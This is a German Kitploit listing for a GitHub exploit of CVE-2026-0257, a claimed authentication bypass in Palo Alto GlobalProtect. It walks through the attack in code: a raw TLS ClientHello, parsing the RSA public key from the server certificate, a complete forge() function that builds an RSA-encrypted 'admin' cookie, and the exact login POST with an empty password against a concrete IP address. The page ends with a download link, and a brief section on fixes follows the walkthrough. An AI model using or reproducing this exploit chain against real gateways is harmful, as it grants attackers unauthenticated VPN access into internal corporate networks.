Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-0257 — Palo Alto Networks PAN-OS enthält eine Authentifizierungsumgehung, die durch Schwachstellen im GlobalProtect-Portal und -Gateway verursacht wird und Angreifern ermöglicht, unbefugte VPN-Verbindungen herzustellen. Der Exploit erfordert Netzwerkzugriff auf das Portal oder Gateway. | Kitploit
Tools/GitHubGitHub/tushargurav28/cve-2026-0257
SchwachstellenanalyseExploitationWebanwendungs-ExploitationNetzwerksicherheitKryptographiePenetrationstestsAuthentifizierungRed Teaming
GitHub
tushargurav28/cve-2026-0257

CVE-2026-0257

Palo Alto Networks PAN-OS enthält eine Authentifizierungsumgehung, die durch Schwachstellen im GlobalProtect-Portal und -Gateway verursacht wird und Angreifern ermöglicht, unbefugte VPN-Verbindungen herzustellen. Der Exploit erfordert Netzwerkzugriff auf das Portal oder Gateway.

Repository anzeigen
33vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-0257: GlobalProtect Authentifizierungsumgehung

Überblick

Dieser Exploit ermöglicht unauthentifizierten VPN-Zugriff auf ein Palo Alto GlobalProtect Gateway/Portal, indem ein Authentifizierungs-Cookie allein unter Verwendung des öffentlich verfügbaren TLS-Zertifikats des Servers gefälscht wird.


Die Kernschwachstelle (Warum es funktioniert)

GlobalProtect verwendet ein Pre-Authentifizierungs-Cookie (portal-userauthcookie), damit Clients sich authentifizieren können. Hier liegt der fatale Fehler:

root@kitploit:~
Normaler Ablauf:
  1. Client authentifiziert sich (Benutzername + Passwort)
  2. Server generiert ein Cookie → verschlüsselt es mit dem RSA-ÖFFENTLICHEN Schlüssel des Servers
  3. Client speichert das verschlüsselte Cookie
  4. Bei erneuter Verbindung sendet der Client das Cookie → Server entschlüsselt mit PRIVATEM Schlüssel → vertraut ihm

Der Fehler:
  Der Server prüft NUR, ob das Cookie erfolgreich mit seinem privaten Schlüssel entschlüsselt werden kann.
  Er überprüft NICHT, WER es verschlüsselt hat oder ob der Klartextinhalt legitim ist.

Da der RSA-öffentliche Schlüssel im TLS-Zertifikat des Servers eingebettet ist (öffentlich zugänglich für jeden, der eine Verbindung herstellt), kann jeder Angreifer:

  1. Den öffentlichen Schlüssel aus dem TLS-Zertifikat holen
  2. Ein Cookie mit einem beliebigen Benutzernamen fälschen
  3. Es mit dem öffentlichen Schlüssel verschlüsseln
  4. An den Server senden → Server entschlüsselt es → akzeptiert es als gültig

Dies ist ein Lehrbuchfehler der Authentifizierung – die Verwendung von Verschlüsselung, wo eine digitale Signatur oder HMAC nötig gewesen wäre.


Die Exploit-Kette (5 Schritte)

root@kitploit:~
flowchart TD
    A["Schritt 1: Raw TCP Connect"] --> B["Schritt 2: Maßgeschneidertes TLS ClientHello senden"]
    B --> C["Schritt 3: ServerHello parsen → DER-Zertifikate extrahieren"]
    C --> D["Schritt 4: ASN.1 durchlaufen, um RSA-öffentlichen Schlüssel zu extrahieren"]
    D --> E["Schritt 5: PKCS#1 v1.5 verschlüsseltes Cookie fälschen"]
    E --> F["Schritt 6: POST an /ssl-vpn/login.esp"]
    F --> G{"Server entschlüsselt Cookie"}
    G -->|"Gültiger Klartext"| H[" Auth Bypass — VPN-Zugriff gewährt"]
    G -->|"Ungültig"| I[" Abgelehnt"]

Schritt 1: Ein Raw-TLS-ClientHello erstellen

Warum raw? Wir benötigen das Serverzertifikat im DER-Format (rohes Binärformat). Das ssl-Modul von Python führt den vollständigen TLS-Handshake intern durch und gibt die rohen Zertifikatsbytes nicht auf die gleiche Weise preis. Indem wir eine rohe TCP-Verbindung herstellen und ein handgefertigtes ClientHello senden, können wir die Antwort des Servers auf Bitebene abfangen.

Drahtformat

Ein TLS-Datensatz sieht so aus:

root@kitploit:~
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 Bytes)                      │
│ ┌──────┬──────────┬────────────┐                 │
│ │ Type │ Version  │   Länge    │                 │
│ │ 0x16 │ 0x03 01  │  2 Bytes   │                 │
│ │(Hshk)│(TLS 1.0) │            │                 │
│ └──────┴──────────┴────────────┘                 │
│                                                  │
│ Handshake-Nachricht                               │
│ ┌──────┬────────────┬─────────────────────────┐  │
│ │ Type │   Länge    │     Body                │  │
│ │ 0x01 │  3 Bytes   │  (ClientHello)          │  │
│ │(CHlo)│            │                         │  │
│ └──────┴────────────┴─────────────────────────┘  │
└──────────────────────────────────────────────────┘

Code: build_hello()

Der ClientHello-Body enthält:

FeldWertZweck
Version0x03 0x03 (TLS 1.2)Server mitteilen, dass wir TLS 1.2 sprechen
Random4-Byte-Zeitstempel + 28 zufällige BytesNonce für den Handshake
Session ID0x00 (leer)Keine Sitzungswiederaufnahme
Cipher Suites9 Suiten inklusive TLS_RSA_WITH_AES_128_CBC_SHASchlüssel: Wir nehmen nur RSA-Cipher auf, um den Server zu zwingen, sein RSA-Zertifikat zu verwenden
Compression0x00 (keine)Erforderlich

Enthaltene Erweiterungen:

ErweiterungIDZweck
SNI (Server Name Indication)0x0000Dem Server mitteilen, mit welchem Hostnamen wir verbinden
Signature Algorithms0x000DUnsere unterstützten Signaturalgorithmen bekannt geben
Supported Groups0x000AUnterstützte EC-Kurven (P-256, P-384, P-521)
EC Point Formats0x000BUnkomprimierte EC-Punkte

[!HINWEIS] Die Cipher-Suiten enthalten absichtlich RSA-Schlüsselaustausch-Cipher (0x002F = TLS_RSA_WITH_AES_128_CBC_SHA). Dies drängt den Server, mit seinem RSA-Zertifikat statt einem ECDSA-Zertifikat zu antworten – was entscheidend ist, da der Exploit nur mit RSA funktioniert.


Schritt 2: Die Antwort des Servers empfangen und parsen

Nach dem Senden des ClientHello sendet der Server mehrere TLS-Datensätze zurück:

root@kitploit:~
Server-Antwort:
  ┌─────────────────┐
  │ ServerHello      │  (Handshake-Typ 2)
  ├─────────────────┤
  │ Certificate      │  (Handshake-Typ 11) ← DAS WOLLEN WIR
  ├─────────────────┤
  │ ServerKeyExchange│  (Handshake-Typ 12, optional)
  ├─────────────────┤
  │ ServerHelloDone  │  (Handshake-Typ 14) ← STOPP-SIGNAL
  └─────────────────┘

Code: parse_certs()

Phase 1 — TLS-Datensatz-Header entfernen:

Jeder TLS-Datensatz hat einen 5-Byte-Header: [type(1)] [version(2)] [length(2)]. Der Code durchsucht alle Datensätze und verkettert für alle mit type == 22 (Handshake) ihre Nutzdaten:

root@kitploit:~
while i + 5 <= len(data):
    t = data[i]                              # content type
    rl = (data[i + 3] << 8) | data[i + 4]   # record length
    if t == 22:                              # Handshake
        hs.extend(data[i + 5: i + 5 + rl])  # Nutzdaten holen
    i += 5 + rl                              # nächster Datensatz

Phase 2 — Die Certificate-Nachricht (Typ 11) finden:

Innerhalb des Handshake-Streams hat jede Nachricht einen 4-Byte-Header: [type(1)] [length(3)]. Wir suchen nach type == 11:

root@kitploit:~
while j + 4 <= len(hs):
    ht = hs[j]                                           # handshake type
    hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3]    # 3-Byte-Länge
    if ht == 11:  # Certificate!
        # Zertifikatsliste innen parsen

Phase 3 — Einzelne DER-Zertifikate extrahieren:

Die Certificate-Nachricht enthält eine Liste von Zertifikaten, jedes mit einem 3-Byte-Längen-Präfix:

root@kitploit:~
Certificate Message Body:
┌───────────────────────────────────┐
│ Gesamt-Zertifikatslänge (3 Bytes) │
├───────────────────────────────────┤
│ Zert 1 Länge (3 Bytes)            │
│ Zert 1 DER-Daten (variabel)       │
├───────────────────────────────────┤
│ Zert 2 Länge (3 Bytes)            │
│ Zert 2 DER-Daten (variabel)       │
├───────────────────────────────────┤
│ ...                               │
└───────────────────────────────────┘

In unserem Testlauf haben wir 3 Zertifikate erhalten (Blattzertifikat, Zwischen-CA, Root-CA).

Code: has_done()

Diese Funktion sucht nach ServerHelloDone (Handshake-Typ 14), was uns sagt, dass der Server fertig gesendet hat und wir mit dem Lesen aufhören können.


Schritt 3: Das X.509-Zertifikat parsen (ASN.1/DER)

X.509-Zertifikate sind in DER (Distinguished Encoding Rules) codiert, einem binären Format basierend auf ASN.1 (Abstract Syntax Notation One).

ASN.1 TLV-Format (Tag-Length-Value)

Jedes Element in DER ist:

root@kitploit:~
┌─────┬────────┬───────────────────┐
│ Tag │ Länge  │ Wert (Payload)    │
│ 1B  │ 1-5B  │ variabel          │
└─────┴────────┴───────────────────┘

Längencodierung:

  • Wenn Byte < 0x80: Länge ist direkt dieses Byte (Kurzform)
  • Wenn Byte ≥ 0x80: untere 7 Bits = Anzahl der folgenden Bytes, die die Länge codieren (Langform)
root@kitploit:~
# Beispiel: Längenbyte = 0x82 → 2 weitere Bytes folgen
# Nächste 2 Bytes: 0x06 0x4F → Länge = 0x064F = 1615 Bytes

Code: rd_tl()

root@kitploit:~
def rd_tl(d, p):
    tag = d[p]; p += 1
    length = d[p]; p += 1
    if length & 0x80:                    # Langform?
        nb = length & 0x7F              # wie viele Bytes folgen
        length = 0
        for _ in range(nb):
            length = (length << 8) | d[p]
            p += 1
    return {"tag": tag, "len": length, "pos": p}  # pos = Start des Werts

X.509-Zertifikatstruktur

root@kitploit:~
Certificate ::= SEQUENCE {              ← tag 0x30
  tbsCertificate SEQUENCE {              ← tag 0x30
    version      [0] EXPLICIT            ← tag 0xA0 (optional)
    serialNumber INTEGER                 ← tag 0x02
    signature    SEQUENCE (AlgorithmID)  ← tag 0x30
    issuer       SEQUENCE                ← tag 0x30
    validity     SEQUENCE                ← tag 0x30
    subject      SEQUENCE                ← tag 0x30
    subjectPublicKeyInfo SEQUENCE {      ← tag 0x30  ★ WIR WOLLEN DAS ★
      algorithm SEQUENCE {               ← tag 0x30
        algorithm OID                    ← tag 0x06
        parameters (optional)
      }
      subjectPublicKey BIT STRING {      ← tag 0x03
        RSAPublicKey SEQUENCE {          ← tag 0x30
          modulus    INTEGER             ← tag 0x02  ★ n ★
          exponent   INTEGER             ← tag 0x02  ★ e ★
        }
      }
    }
    ...
  }
  ...
}

Code: get_rsa_key()

Die Funktion durchläuft den DER-Baum, indem sie Tag+Länge liest und Felder überspringt, die wir nicht benötigen:

root@kitploit:~
# Äußere SEQUENCE (Certificate) betreten
r = rd_tl(der, 0)            # → SEQUENCE
# tbsCertificate SEQUENCE betreten
r = rd_tl(der, p)            # → SEQUENCE
# Optionalen Version-Tag prüfen
r = rd_tl(der, p)
if r["tag"] == 0xA0:         # version-Feld vorhanden → überspringen
    p = r["pos"] + r["len"]
    r = rd_tl(der, p)

# Überspringen: serial → sigAlg → issuer → validity → subject
# (jeweils TLV lesen und darüber springen)

# JETZT sind wir bei subjectPublicKeyInfo
# AlgorithmIdentifier lesen → prüfen, ob OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
#          ↑ Dies ist 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
    return None  # Nicht RSA (wahrscheinlich ECDSA)

# BIT STRING lesen → 1 Byte überspringen (Indikator für ungenutzte Bits)
# Innere SEQUENCE lesen → modulus (n) und exponent (e) extrahieren

Wichtiges Detail – führendes Null-Byte im Modulus:

root@kitploit:~
if der[ms] == 0 and ml > 1:
    ms += 1    # führende 0x00 entfernen
    ml -= 1

DER codiert Ganzzahlen als signed. Wenn das höchste Bit des Modulus 1 ist, wird ein 0x00-Byte vorangestellt, um es positiv zu halten. Wir entfernen es, da wir den rohen unsigned-Wert benötigen.

Für unser Ziel: modulus = 2048 Bits (256 Bytes), exponent = 65537 (0x10001)


Schritt 4: Das Authentifizierungs-Cookie fälschen (PKCS#1 v1.5)

Dies ist das Herzstück des Exploits.

Was das Cookie enthält

Das Klartext-Cookie-Format ist:

root@kitploit:~
admin;;Windows;;1748928001;0.0.0.0
  │        │        │        │
  │        │        │        └── Client-IP
  │        │        └── Unix-Zeitstempel
  │        └── OS-Kennung
  └── Benutzername (wir wählen "admin")

PKCS#1 v1.5 Verschlüsselungs-Padding (Typ 2)

Vor der RSA-Verschlüsselung muss der Klartext auf die Schlüsselgröße aufgefüllt werden (256 Bytes für 2048-Bit-RSA):

root@kitploit:~
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Zufällige Nonzero-Padding│ 0x00 │ Klartext-Nachricht   │
│      │      │ (≥ 8 Bytes)              │      │                     │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
  1B     1B      padLen Bytes              1B      Nachrichtenbytes

Gesamt = 256 Bytes (= Schlüsselgröße)

Code: forge()

root@kitploit:~
def forge(n, e, kl, username):
    ts = str(int(time.time()))
    pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")

    pad_len = kl - len(pt) - 3    # 3 = 0x00 + 0x02 + 0x00 Trennzeichen
    if pad_len < 8:                # PKCS#1 benötigt ≥ 8 Padding-Bytes
        return ""

    em = bytearray([0x00, 0x02])   # Typ-2-Padding-Header
    for _ in range(pad_len):
        em.append(random.randint(1, 255))  # zufällige Nonzero-Bytes!
    em.append(0x00)                # Trennzeichen
    cat(em, pt)                    # Klartext anhängen

    # RSA-Verschlüsselung: ciphertext = em^e mod n
    return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))

Die RSA-Mathematik:

root@kitploit:~
ciphertext = plaintext^e mod n

Wobei:
  plaintext = die aufgefüllte Nachricht als große Ganzzahl (256 Bytes → ~2048 Bits)
  e = 65537 (öffentlicher Exponent)
  n = der 2048-Bit-Modulus aus dem Zertifikat

[!WICHTIG] Dies funktioniert, weil die RSA-Verschlüsselung den öffentlichen Schlüssel (n, e) verwendet, den jeder aus dem TLS-Zertifikat erhalten kann. Der Server wird ihn mit seinem privaten Schlüssel (n, d) entschlüsseln und den Klartext zurückerhalten – admin;;Windows;;timestamp;0.0.0.0.

Der Server vertraut diesem Klartext dann blind – er überprüft nie, ob das Cookie legitim von ihm selbst ausgestellt wurde.


Schritt 5: Das gefälschte Cookie an den Login-Endpunkt senden

Code: test_cookie()

Das gefälschte Cookie wird als standardmäßiger HTTPS-POST an den GlobalProtect-Login-Endpunkt gesendet:

root@kitploit:~
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close

prot=https
&server=1.255.199.2
&user=admin
&passwd=                          ← leer! kein Passwort nötig
&context=gateway                  ← oder "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_GEFÄLSCHTES_COOKIE>
&portal-prelogonuserauthcookie=

[!HINWEIS] Das passwd-Feld ist leer. Der Server prüft das Passwort überhaupt nicht – er verlässt sich vollständig auf das portal-userauthcookie für die Authentifizierung.

Der Exploit testet zwei Endpunkte:

  1. Gateway (context=gateway): Direkter VPN-Tunnelzugriff
  2. Portal (context=portal): Portal-Konfigurationszugriff

Erfolgserkennung

root@kitploit:~
def is_gateway_success(resp, user):
    # Auf HTTP 200 prüfen
    # Auf <status>Success</status> im XML-Body prüfen
    # ODER <argument>-Tag, das den Benutzernamen enthält

Schritt 6: Was auf der Serverseite passiert

root@kitploit:~
sequenceDiagram
    participant A as Angreifer
    participant GP als GlobalProtect Server

    A->>GP: TCP Connect (Port 443)
    A->>GP: Raw TLS ClientHello (handgefertigt)
    GP->>A: ServerHello + Certificate (enthält RSA-öffentlichen Schlüssel)
    GP->>A: ServerHelloDone
    Note over A: Extrahiert RSA-öffentlichen Schlüssel (n, e) aus Zertifikat
    Note over A: Fälscht Cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
    A->>GP: POST /ssl-vpn/login.esp (über TLS)
    Note over GP: Empfängt portal-userauthcookie
    Note over GP: Entschlüsselt mit RSA-privatem Schlüssel
    Note over GP: Erhält "admin;;Windows;;ts;0.0.0.0"
    Note over GP: ⚠️ Vertraut ihm blind – keine Signaturprüfung!
    GP->>A: HTTP 200 OK + <status>Success</status>
    Note over A: 🎉 Vollständiger VPN-Zugriff als "admin"

Warum dies ein verheerender Fehler ist

AspektAuswirkung
Keine Anmeldeinformationen nötigDer öffentliche Schlüssel ist buchstäblich öffentlich – jeder, der sich verbindet, erhält ihn
Kein Brute-ForceEinzelne Anfrage pro Versuch, gelingt immer auf verwundbaren Servern
Vor der AuthentifizierungAusnutzbar vor jedem Login – keine bestehende Sitzung nötig
BenutzerimitationAngreifer wählt einen beliebigen Benutzernamen (admin, CEO, etc.)
Vollständiger VPN-ZugriffSobald authentifiziert, ist der Angreifer im internen Netzwerk
Keine Protokollierung von PasswortfehlernDa die Authentifizierung über das Cookie erfolgt, werden keine Fehlalarme bei Passwortfehlern ausgelöst

Die Lösung (Was Palo Alto tun sollte)

Das grundlegende Problem ist die Verwendung von Verschlüsselung zur Authentifizierung. Die korrekten Ansätze:

  1. Digitale Signaturen: Der Server sollte das Cookie mit seinem privaten Schlüssel signieren, nicht ein verschlüsseltes entschlüsseln. Dann die Signatur bei erneuter Authentifizierung überprüfen.

  2. HMAC: Verwenden Sie einen serverseitigen geheimen Schlüssel, um die Cookie-Nutzdaten zu HMACen. Nur der Server kennt das Geheimnis, sodass Cookies nicht gefälscht werden können.

  3. Token Binding: Binden Sie das Cookie an die ursprüngliche Authentifizierungssitzung, damit es nicht aus einem anderen Kontext wiederverwendet werden kann.

root@kitploit:~
Kaputt:   cookie = RSA_encrypt(userdata, public_key)   ← jeder kann das tun!
Behoben:  cookie = HMAC(server_secret, userdata)        ← nur der Server kann das tun

Zusammenfassung: Vollständiger Datenfluss

root@kitploit:~
1. TCP-Verbindung zum Ziel:443 herstellen
2. Handgefertigtes ClientHello senden (rohe Bytes über TCP, NICHT TLS)
3. ServerHello + Certificate + ServerHelloDone empfangen
4. TLS-Datensätze parsen → Handshake-Nachrichten extrahieren
5. Certificate-Nachricht (Typ 11) finden → DER-codierte Zertifikate extrahieren
6. ASN.1/DER-Struktur des Blattzertifikats durchlaufen:
   SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
   → subjectPublicKeyInfo → algorithmIdentifier (prüfen OID = RSA)
   → BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Klartext erstellen: "admin;;Windows;;1748928001;0.0.0.0"
8. PKCS#1 v1.5 auffüllen: 0x00 0x02 [random≥8] 0x00 [Klartext]
9. RSA-Verschlüsselung: ciphertext = aufgefüllt^e mod n
10. Base64-codieren → URL-codieren
11. POST an /ssl-vpn/login.esp mit gefälschtem Cookie (über ordnungsgemäßes TLS)
12. Server entschlüsselt → vertraut blind → gewährt VPN-Zugriff
Tool herunterladen